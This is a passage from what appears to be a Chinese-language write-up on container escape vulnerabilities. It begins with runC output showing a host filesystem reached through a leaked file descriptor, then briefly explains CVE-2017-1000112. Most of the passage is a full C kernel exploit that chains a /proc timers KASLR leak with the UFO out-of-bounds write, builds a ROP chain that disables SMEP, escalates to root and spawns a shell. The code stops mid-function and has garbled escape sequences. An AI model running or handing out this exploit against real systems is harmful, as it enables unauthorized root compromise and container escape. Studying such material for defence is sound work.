drwxr-xr-x 1 root root 12 Jun 15 12:20 home
drwxr-xr-x 1 root root 1572 Oct 30 12:00 lib
drwxr-xr-x 1 root root 4160 Nov 25 09:21 lib64
drwxr-xr-x 1 root root 60 Aug 7 04:00 media
drwxr-xr-x 1 root root 0 Jun 15 12:20 mnt
drwxr-xr-x 1 root root 8 Oct 9 06:31 opt
dr-xr-xr-x 327 root root 0 Nov 26 00:25 proc
drwx------ 1 root root 324 Nov 26 09:52 root
drwxr-xr-x 34 root root 900 Nov 28 14:28 run
drwxr-xr-x 1 root root 4082 Nov 25 09:24 sbin
drwxr-xr-x 1 root root 0 Jun 15 12:20 selinux
drwxr-xr-x 1 root root 50 Jul 17 00:57 srv
dr-xr-xr-x 13 root root 0 Nov 26 00:25 sys
drwxrwxrwt 1 root root 42606 Nov 28 14:29 tmp
drwxr-xr-x 1 root root 144 Jun 27 18:18 usr
drwxr-xr-x 1 root root 116 Jun 26 07:39 var
# Where the final output is my *host's* root filesystem.
# With a patched runC, that file descriptor isn't open in the "runc exec" process:
shell1% runc run ctr
shell2% runc exec ctr ls
# [ this will block for 500 seconds ]
shell1[ctr]$ ps aux
PID USER TIME COMMAND
1 root 0:00 sh
7 root 0:00 {runc:[2:INIT]} /proc/self/exe init
13 root 0:00 ps aux
shell1[ctr]$ ls -la /proc/7/fd
total 0
dr-x------ 2 root root 0 Nov 28 14:29 .
dr-xr-xr-x 9 root root 0 Nov 28 14:29 ..
lrwx------ 1 root root 64 Nov 28 14:29 0 -> /dev/pts/8
lrwx------ 1 root root 64 Nov 28 14:29 1 -> /dev/pts/8
lrwx------ 1 root root 64 Nov 28 14:29 2 -> /dev/pts/8
lrwx------ 1 root root 64 Nov 28 14:29 3 ->
socket:[2114856]
lrwx------ 1 root root 64 Nov 28 14:29 4 -> /dev/pts/8
l-wx------ 1 root root 64 Nov 28 14:29 5 -> /dev/null
3.CVE-2017-1000112
请参阅:https://github.com/Metarget/metarget/tree/master/writeups_cnv/kernel-cve-2017-1000112(docker – 版本 18.03.1)
Linux 内核:由于 UFO 到非 UFO 路径切换而导致的可利用内存损坏。当使用附加调用构建 UFO 数据包时MSG_MORE __ip_append_data()。ip_ufo_append_data() 然而,在两次 send() 调用之间,附加路径可以从 UFO 切换到非 UFO,从而导致内存损坏。
如果 UFO 数据包长度超过 MTU,则copy = maxfraglen — skb->len在非 UFO 路径上变为负数,并采用分配新 skb 的分支。
这会触发 的碎片化和计算fraggap = skb_prev->len — maxfraglen。Fraggap 可能会超过 MTU,导致copy = datalen — transhdrlen — fraggap变为负值。随后skb_copy_and_csum_bits() 写入越界。IPv6 代码中也存在类似问题。该错误于 2005 年 10 月 18 日在 e89e9cf539a2(“[IPv4/IPv6]:UFO 分散-聚集方法”)中引入。
概念验证:
// Capsule8 2019
// This exploit combines exploitation of two vulnerabilities:
// - CVE-2017-18344 (OOB read in proc timers)
// - CVE-2017-1000112 (OOB write due to UFO packet fragmentation management)
// Both original exploits were written by Andrey Konovalov.
//
// Tested to work on Ubuntu 4.8.0-34.
#define _GNU_SOURCE
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syscall.h>
#include <time.h>
#include <unistd.h>
#include <linux/socket.h>
#include <netinet/ip.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#define ENABLE_SMEP_BYPASS 1
#define DEBUG 0
#define LOG_INFO 1
#define LOG_DEBUG 2
#define log(level, format, args...)
do {
if (level == LOG_INFO)
printf(format, ## args);
else
fprintf(stderr, format, ## args);
} while(0)
#define info(format, args...) log(LOG_INFO, format, ## args)
#if (DEBUG >= 1)
#define debug1(format, args...) log(LOG_DEBUG, format, ## args)
#else
#define debug1(format, args...)
#endif
#if (DEBUG >= 2)
#define debug2(format, args...) log(LOG_DEBUG, format, ## args)
#else
#define debug2(format, args...)
#endif
#define min(x, y) ((x) < (y) ? (x) : (y))
#define PAGE_SHIFT 12
#define PAGE_SIZE (1ul << PAGE_SHIFT)
// Will be overwritten after leak.
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
#define MIN_KERNEL_BASE 0xffffffff81000000ul
#define MAX_KERNEL_BASE 0xffffffffff000000ul
#define MAX_KERNEL_IMAGE 0x8000000ul // 128 MB
#define MMAP_ADDR_SPAN (MAX_KERNEL_BASE - MIN_KERNEL_BASE + MAX_KERNEL_IMAGE)
#define MMAP_ADDR_START 0x200000000ul
#define MMAP_ADDR_END (MMAP_ADDR_START + MMAP_ADDR_SPAN) // 0x286000000L
#define OPTIMAL_PTR_OFFSET ((MMAP_ADDR_START - MIN_KERNEL_BASE) / 8) // == 0x4fe00000L
#define MAX_MAPPINGS 1024
#define MEMFD_SIZE (MMAP_ADDR_SPAN / MAX_MAPPINGS)
// Will be overwritten by detect_versions().
int kernel = -1;
struct kernel_info {
const char* distro;
const char* version;
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t xchg_eax_esp_ret;
uint64_t pop_rdi_ret;
uint64_t mov_dword_ptr_rdi_eax_ret;
uint64_t mov_rax_cr4_ret;
uint64_t neg_rax_ret;
uint64_t pop_rcx_ret;
uint64_t or_rax_rcx_ret;
uint64_t xchg_eax_edi_ret;
uint64_t mov_cr4_rdi_ret;
uint64_t jmp_rcx;
uint64_t divide_error;
uint64_t copy_fs_struct;
};
struct kernel_info kernels[] = {
{ "quantal", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80, 0x897200, 0x269b50},
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80, 0x897200, 0x269b50},
};
// Used to get root privileges.
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
#define COPY_FS_STRUCT (KERNEL_BASE + kernels[kernel].copy_fs_struct)
#define TASK_PID_OFFSET 0x4C8
#define TASK_REAL_PARENT_OFFSET 0x4D8
#define TASK_FS_OFFSET 0x6B0
// Used when ENABLE_SMEP_BYPASS is used.
// - xchg eax, esp ; ret
// - pop rdi ; ret
// - mov dword ptr [rdi], eax ; ret
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
// - neg rax ; ret
// - pop rcx ; ret
// - or rax, rcx ; ret
// - xchg eax, edi ; ret
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
// - jmp rcx
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_copy_fs_struct)(unsigned long init_task);
uint64_t get_task(void) {
uint64_t task;
asm volatile ("movq %%gs: 0xD380, %0":"=r"(task));
return task;
}
void get_root(void) {
char *task;
char *init;
uint32_t pid = 0;
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
task = (char *)get_task();
init = task;
while (pid != 1) {
init = *(char **)(init + TASK_REAL_PARENT_OFFSET);
pid = *(uint32_t *)(init + TASK_PID_OFFSET);
}
*(uint64_t *)(task + TASK_FS_OFFSET) = ((_copy_fs_struct)(COPY_FS_STRUCT))(*(long unsigned int *)(init + TASK_FS_OFFSET));
}
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
uint64_t saved_esp;
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
asm volatile (" n
payload: n
movq %%rbp, %%rax n
movq $0xffffffff00000000, %%rdx n
andq %%rdx, %%rax n
movq %0, %%rdx n
addq %%rdx, %%rax n
movq %%rax, %%rsp n
call get_root n
ret n
" : : "m"(saved_esp) : );
}
void payload();
#define CHAIN_SAVE_ESP
*stack++ = POP_RDI_RET;
*stack++ = (uint64_t)&saved_esp;
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
#define SMEP_MASK 0x100000
#define CHAIN_DISABLE_SMEP
*stack++ = MOV_RAX_CR4_RET;
*stack++ = NEG_RAX_RET;
*stack++ = POP_RCX_RET;
*stack++ = SMEP_MASK;
*stack++ = OR_RAX_RCX_RET;
*stack++ = NEG_RAX_RET;
*stack++ = XCHG_EAX_EDI_RET;
*stack++ = MOV_CR4_RDI_RET;
#define CHAIN_JMP_PAYLOAD
*stack++ = POP_RCX_RET;
*stack++ = (uint64_t)&payload;
*stack++ = JMP_RCX;
void mmap_stack() {
uint64_t stack_aligned, stack_addr;
int page_size, stack_size, stack_offset;
uint64_t* stack;
page_size = getpagesize();
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
stack_addr = stack_aligned - page_size * 4;
stack_size = page_size * 8;
stack_offset = XCHG_EAX_ESP_RET % page_size;
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
perror("[-] mmap()");
exit(EXIT_FAILURE);
}
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
CHAIN_SAVE_ESP;
CHAIN_DISABLE_SMEP;
CHAIN_JMP_PAYLOAD;
}
// * * * Below is code for CVE-2017-18344 * * * //
static struct proc_reader g_proc_reader;
static unsigned long g_leak_ptr_addr = 0;
#define PROC_INITIAL_SIZE 1024
#define PROC_CHUNK_SIZE 1024
struct proc_reader {
char *buffer;
int buffer_size;
int read_size;
};
static void proc_init(struct proc_reader* pr) {
debug2("proc_init: %pn", pr);
pr->buffer = malloc(PROC_INITIAL_SIZE);
if (pr->buffer == NULL) {
perror("[-] proc_init: malloc()");
exit(EXIT_FAILURE);
}
pr->buffer_size = PROC_INITIAL_SIZE;
pr->read_size = 0;
debug2("proc_init = voidn");
}
static void proc_ensure_size(struct proc_reader* pr, int size) {
if (pr->buffer_size >= size)
return;
while (pr->buffer_size < size)
pr->buffer_size <<= 1;
pr->buffer = realloc(pr->buffer, pr->buffer_size);
if (pr->buffer == NULL) {
perror("[-] proc_ensure_size: realloc()");
exit(EXIT_FAILURE);
}
}
static int proc_read(struct proc_reader* pr, const char *file) {
debug2("proc_read: file: %s, pr->buffer_size: %dn",
file, pr->buffer_size);
int fd = open(file, O_RDONLY);
if (fd == -1) {
perror("[-] proc_read: open()");
exit(EXIT_FAILURE);
}
pr->read_size = 0;
while (true) {
proc_ensure_size(pr, pr->read_size + PROC_CHUNK_SIZE);
int bytes_read = read(fd, &pr->buffer[pr->read_size],
PROC_CHUNK_SIZE);
if (bytes_read == -1) {
perror("[-] read(proc)");
exit(EXIT_FAILURE);
}
pr->read_size += bytes_read;
if (bytes_read < PROC_CHUNK_SIZE)
break;
}
close(fd);
debug2("proc_read len = %dn", pr->read_size);
return pr->read_size;
}
/* sigval */
typedef union k_sigval {
int sival_int;
void *sival_ptr;
} k_sigval_t;
#define __ARCH_SIGEV_PREAMBLE_SIZE (sizeof(int) * 2 + sizeof(k_sigval_t))
#define SIGEV_MAX_SIZE 64
#define SIGEV_PAD_SIZE ((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE)
/ sizeof(int))
typedef struct k_sigevent {
k_sigval_t sigev_value;
int sigev_signo;
int sigev_notify;
union {
int _pad[SIGEV_PAD_SIZE];
int _tid;
struct {
void (*_function)(sigval_t);
void *_attribute;
} _sigev_thread;
} _sigev_un;
} k_sigevent_t;
static void leak_setup() {
k_sigevent_t se;
memset(&se, 0, sizeof(se));
se.sigev_signo = SIGRTMIN;
se.sigev_notify = OPTIMAL_PTR_OFFSET;
timer_t timerid = 0;
int rv = syscall(SYS_timer_create, CLOCK_REALTIME,
(void *)&se, &timerid);
if (rv != 0) {
perror("[-] timer_create()");
exit(EXIT_FAILURE);
}
}
static void leak_parse(char *in, int in_len, char **start, char **end) {
const char *needle = "notify: ";
*start = memmem(in, in_len, needle, strlen(needle));
assert(*start != NULL);
*start += strlen(needle);
assert(in_len > 0);
assert(in[in_len - 1] == 'n');
*end = &in[in_len - 2];
while (*end > in && **end != 'n')
(*end)--;
assert(*end > in);
while (*end > in && **end != '/')
(*end)--;
assert(*end > in);
assert((*end)[1] = 'p' && (*end)[2] == 'i' && (*end)[3] == 'd');
assert(*end >= *start);
}
static void leak_once(char **start, char **end) {
int read_size = proc_read(&g_proc_reader, "/proc/self/timers");
leak_parse(g_proc_reader.buffer, read_size, start, end);
}
static int leak_once_and_copy(char *out, int out_len) {
assert(out_len > 0);
char *start, *end;
leak_once(&start, &end);
int size = min(end - start, out_len);
memcpy(out, start, size);
if (size == out_len)
return size;
out[size] = 0;
return size + 1;
}
static void leak_range(unsigned long addr, size_t length, char *out) {
size_t total_leaked = 0;
while (total_leaked < 16) {
unsigned long addr_to_leak = addr + total_leaked;
*(unsigned long *)g_leak_ptr_addr = addr_to_leak;
debug2("leak_range: offset %ld, addr: %lxn",
total_leaked, addr_to_leak);
int leaked = leak_once_and_copy(out + total_leaked,
length - total_leaked);
total_leaked += leaked;
}
}
// k_sigval
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
static void mmap_fixed(unsigned long addr, size_t size) {
void *rv = mmap((void *)addr, size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (rv != (void *)addr) {
perror("[-] mmap()");
exit(EXIT_FAILURE);
}
}
static void mmap_fd_over(int fd, unsigned long fd_size, unsigned long start,
unsigned long end) {
int page_size = PAGE_SIZE;
assert(fd_size % page_size == 0);
assert(start % page_size == 0);
assert(end % page_size == 0);
assert((end - start) % fd_size == 0);
debug2("mmap_fd_over: [%lx, %lx)n", start, end);
unsigned long addr;
for (addr = start; addr < end; addr += fd_size) {
void *rv = mmap((void *)addr, fd_size, PROT_READ,
MAP_FIXED | MAP_PRIVATE, fd, 0);
if (rv != (void *)addr) {
perror("[-] mmap()");
exit(EXIT_FAILURE);
}
}
debug1("mmap_fd_over = voidn");
}
static void remap_fd_over(int fd, unsigned long fd_size, unsigned long start,
unsigned long end) {
int rv = munmap((void *)start, end - start);
if (rv != 0) {
perror("[-] munmap()");
exit(EXIT_FAILURE);
}
mmap_fd_over(fd, fd_size, start, end);
}
#define MEMFD_CHUNK_SIZE 0x1000
static int create_filled_memfd(const char *name, unsigned long size,
unsigned long value) {
int i;
char buffer[MEMFD_CHUNK_SIZE];
assert(size % MEMFD_CHUNK_SIZE == 0);
int fd = syscall(SYS_memfd_create, name, 0);
if (fd < 0) {
perror("[-] memfd_create()");
exit(EXIT_FAILURE);
}
for (i = 0; i < sizeof(buffer) / sizeof(value); i++)
*(unsigned long *)&buffer[i * sizeof(value)] = value;
for (i = 0; i < size / sizeof(buffer); i++) {
int bytes_written = write(fd, &buffer[0], sizeof(buffer));
if (bytes_written != sizeof(buffer)) {
perror("[-] write(memfd)");
exit(EXIT_FAILURE);
}
}
return fd;
}
// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#define CPUINFO_SMEP 1
#define CPUINFO_SMAP 2
#define CPUINFO_KAISER 4
#define CPUINFO_PTI 8
static const char *evil = "evil";
static const char *good = "good";
static bool bisect_probe() {
char *start, *end;
leak_once(&start, &end);
return *start == 'g';
}
static unsigned long bisect_via_memfd(unsigned long fd_size,
unsigned long start, unsigned long end) {
assert((end - start) % fd_size == 0);
int fd_evil = create_filled_memfd("evil", fd_size, (unsigned long)evil);
int fd_good = create_filled_memfd("good", fd_size, (unsigned long)good);
unsigned long left = 0;
unsigned long right = (end - start) / fd_size;
debug2("bisect_via_memfd: right starts at 0x%lx unitsn", right);
debug2("bvm: start loop!n");
while (right - left > 1) {
unsigned long middle = left + (right - left) / 2;
debug2("bvm: evil range (start->middle)=(0x%lx-0x%lx)n", (start + left * fd_size), (start + middle * fd_size));
remap_fd_over(fd_evil, fd_size, start + left * fd_size,
start + middle * fd_size);
debug2("bvm: good range (middle->end)=(0x%lx-0x%lx)n", (start + middle * fd_size), (start + right * fd_size));
remap_fd_over(fd_good, fd_size, start + middle * fd_size,
start + right * fd_size);
bool probe = bisect_probe();
if (probe)
left = middle;
else
right = middle;
}
int rv = munmap((void *)start, end - start);
if (rv != 0) {
perror("[-] munmap()");
exit(EXIT_FAILURE);
}
close(fd_evil);
close(fd_good);
return start + left * fd_size;
}
static unsigned long bisect_via_assign(unsigned long start, unsigned long end) {
int word_size = sizeof(unsigned long);
assert((end - start) % word_size == 0);
assert((end - start) % PAGE_SIZE == 0);
mmap_fixed(start, end - start);
unsigned long left = 0;
unsigned long right = (end - start) / word_size;
while (right - left > 1) {
unsigned long middle = left + (right - left) / 2;
unsigned long a;
for (a = left; a < middle; a++)
*(unsigned long *)(start + a * word_size) =
(unsigned long)evil;
for (a = middle; a < right; a++)
*(unsigned long *)(start + a * word_size) =
(unsigned long)good;
bool probe = bisect_probe();
if (probe)
left = middle;
else
right = middle;
}
int rv = munmap((void *)start, end - start);
if (rv != 0) {
perror("[-] munmap()");
exit(EXIT_FAILURE);
}
return start + left * word_size;
}
static unsigned long bisect_leak_ptr_addr() {
unsigned long addr = bisect_via_memfd(
MEMFD_SIZE, MMAP_ADDR_START, MMAP_ADDR_END);
addr = bisect_via_memfd(PAGE_SIZE, addr, addr + MEMFD_SIZE);
addr = bisect_via_assign(addr, addr + PAGE_SIZE);
return addr;
}
static int cpuinfo_scan() {
int length = proc_read(&g_proc_reader, "/proc/cpuinfo");
char *buffer = &g_proc_reader.buffer[0];
int rv = 0;
char* found = memmem(buffer, length, "smep", 4);
if (found != NULL)
rv |= CPUINFO_SMEP;
found = memmem(buffer, length, "smap", 4);
if (found != NULL)
rv |= CPUINFO_SMAP;
found = memmem(buffer, length, "kaiser", 4);
if (found != NULL)
rv |= CPUINFO_KAISER;
found = memmem(buffer, length, " pti", 4);
if (found != NULL)
rv |= CPUINFO_PTI;
return rv;
}
static void cpuinfo_check() {
int rv = cpuinfo_scan();
if (rv & CPUINFO_SMAP) {
info("[-] SMAP detected, no bypass available, abortingn");
exit(EXIT_FAILURE);
}
}
static void arbitrary_read_init() {
info("[>] setting up proc readern");
proc_init(&g_proc_reader);
info("[+] donen");
info("[>] checking /proc/cpuinfon");
cpuinfo_check();
info("[+] looks goodn");
info("[>] setting up timern");
leak_setup();
info("[+] donen");
info("[>] finding leak pointer addressn");
g_leak_ptr_addr = bisect_leak_ptr_addr();
info("[+] done: %016lxn", g_leak_ptr_addr);
info("[>] mapping leak pointer pagen");
mmap_fixed(g_leak_ptr_addr & ~(PAGE_SIZE - 1), PAGE_SIZE);
info("[+] donen");
}
static void read_range(unsigned long addr, size_t length, char *buffer) {
leak_range(addr, length, buffer);
}
struct idt_register {
uint16_t length;
uint64_t base;
} __attribute__((packed));
struct idt_gate {
uint16_t offset_1; // bits 0..15
uint32_t shit_1;
uint16_t offset_2; // bits 16..31
uint32_t offset_3; // bits 32..63
uint32_t shit_2;
} __attribute__((packed));
static uint64_t idt_gate_addr(struct idt_gate *gate) {
uint64_t addr = gate->offset_1 + ((uint64_t)gate->offset_2 << 16) +
((uint64_t)gate->offset_3 << 32);
return addr;
}
static void get_idt(struct idt_register *idtr) {
asm ( "sidt %0" : : "m"(*idtr) );
debug1("get_idt_base: base: %016lx, length: %dn",
idtr->base, idtr->length);
}
static uint64_t read_idt_gate(int i) {
char buffer[4096];
struct idt_register idtr;
get_idt(&idtr);
assert(idtr.length <= sizeof(buffer));
assert(i <= idtr.length / sizeof(struct idt_gate));
read_range(idtr.base, idtr.length, &buffer[0]);
struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i;
uint64_t addr = idt_gate_addr(gate);
return addr;
}
// </IDT KASLR bypass>
// * * * Below is code for CVE-2017-100012 * * * //
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ubuf_info {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info ui;
void init_skb_buffer(char* buffer, unsigned long func) {
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
memset(ssi, 0, sizeof(*ssi));
ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ssi->nr_frags = 0;
ssi->frag_list = 0;
ui.callback = func;
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
#define SHINFO_OFFSET 3164
void oob_execute(unsigned long payload) {
char buffer[4096];
memset(&buffer[0], 0x42, 4096);
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
int s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
perror("[-] socket()");
exit(EXIT_FAILURE);
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(s, (void*)&addr, sizeof(addr))) {
perror("[-] connect()");
exit(EXIT_FAILURE);
}
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
int rv = send(s, buffer, size, MSG_MORE);
if (rv != size) {
perror("[-] send()");
exit(EXIT_FAILURE);
}
int val = 1;
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
if (rv != 0) {
perror("[-] setsockopt(SO_NO_CHECK)");
exit(EXIT_FAILURE);
}
send(s, buffer, 1, 0);
close(s);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (true) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define LSB_RELEASE_LENGTH 1024
void get_distro_codename(char* output, int max_length) {
char buffer[LSB_RELEASE_LENGTH];
int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);
if (length == -1) {
perror("[-] open/read(/etc/lsb-release)");
exit(EXIT_FAILURE);
}
const char *needle = "DISTRIB_CODENAME=";
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL) {
printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-releasen");
exit(EXIT_FAILURE);
}
int i;
for (i = 0; found[needle_length + i] != 'n'; i++) {
assert(i < max_length);
assert((found - &buffer[0]) + needle_length + i < length);
output[i] = found[needle_length + i];
}
}
void get_kernel_version(char* output, int max_length) {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
perror("[-] uname())");
exit(EXIT_FAILURE);
}
assert(strlen(u.release) <= max_length);
strcpy(&output[0], u.release);
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define DISTRO_CODENAME_LENGTH 32
#define KERNEL_VERSION_LENGTH 32
void detect_versions() {
char codename[DISTRO_CODENAME_LENGTH];
char version[KERNEL_VERSION_LENGTH];
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(&version[0], kernels[i].version) == 0) {
printf("[.] kernel version '%s' detectedn", kernels[i].version);
kernel = i;
return;
}
}
printf("[-] kernel version not recognizedn");
exit(EXIT_FAILURE);
}
#define PROC_CPUINFO_LENGTH 4096
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
char buffer[PROC_CPUINFO_LENGTH];
int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
perror("[-] open/read(/proc/cpuinfo)");
exit(EXIT_FAILURE);
}
int rv = 0;
char* found = memmem(&buffer[0], length, "smep", 4);
if (found != NULL)
rv += 1;
found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL)
rv += 2;
return rv;
}
void check_smep_smap() {
int rv = smap_smep_enabled();
if (rv >= 2) {
printf("[-] SMAP detected, no bypass availablen");
exit(EXIT_FAILURE);
}
#if !ENABLE_SMEP_BYPASS
if (rv >= 1) {
printf("[-] SMEP detected, use ENABLE_SMEP_BYPASSn");
exit(EXIT_FAILURE);
}
#endif
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
static bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
printf("[!] unprivileged user namespaces are not availablen");
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1n", real_uid)) {
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
perror("[-] system(/sbin/ifconfig lo mtu 1500)");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}
void exec_shell() {
char* shell = "/bin/bash";
char* args[] = {shell, "-i", NULL};
execve(shell, args, NULL);
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
printf("[6] checking if we got rootn");
if (!is_root()) {
printf("[-] something went wrong =(n");
return;
}
printf("[+] got r00t ^_^n");
exec_shell();
}
int main(int argc, char** argv) {
unsigned long int divide_error_addr = 0;
printf("[^] startingn");
printf("[=] running KASLR defeat exploit (CVE-2017-18344)n");
printf("[0] enumerating divide_error() location (CVE-2017-18344)n");
arbitrary_read_init();
divide_error_addr = read_idt_gate(0);
printf("[+] divide_error is at: %lxn", divide_error_addr);
printf("[1] checking distro and kernel versionsn");
detect_versions();
printf("[+] done, versions looks goodn");
KERNEL_BASE = divide_error_addr - kernels[kernel].divide_error;
printf("[2] checking SMEP and SMAPn");
check_smep_smap();
printf("[+] done, looks goodn");
printf("[=] running privilege escalation exploit (CVE-2017-1000112)n");
printf("[3] setting up namespace sandboxn");
setup_sandbox();
printf("[+] done, namespace sandbox set upn");
printf("[~] commit_creds: %lxn", COMMIT_CREDS);
printf("[~] prepare_kernel_cred: %lxn", PREPARE_KERNEL_CRED);
unsigned long payload = (unsigned long)&get_root;
#if ENABLE_SMEP_BYPASS
printf("[4] SMEP bypass enabled, mmapping fake stackn");
mmap_stack();
payload = XCHG_EAX_ESP_RET;
printf("[+] done, fake stack mmappedn");
#endif
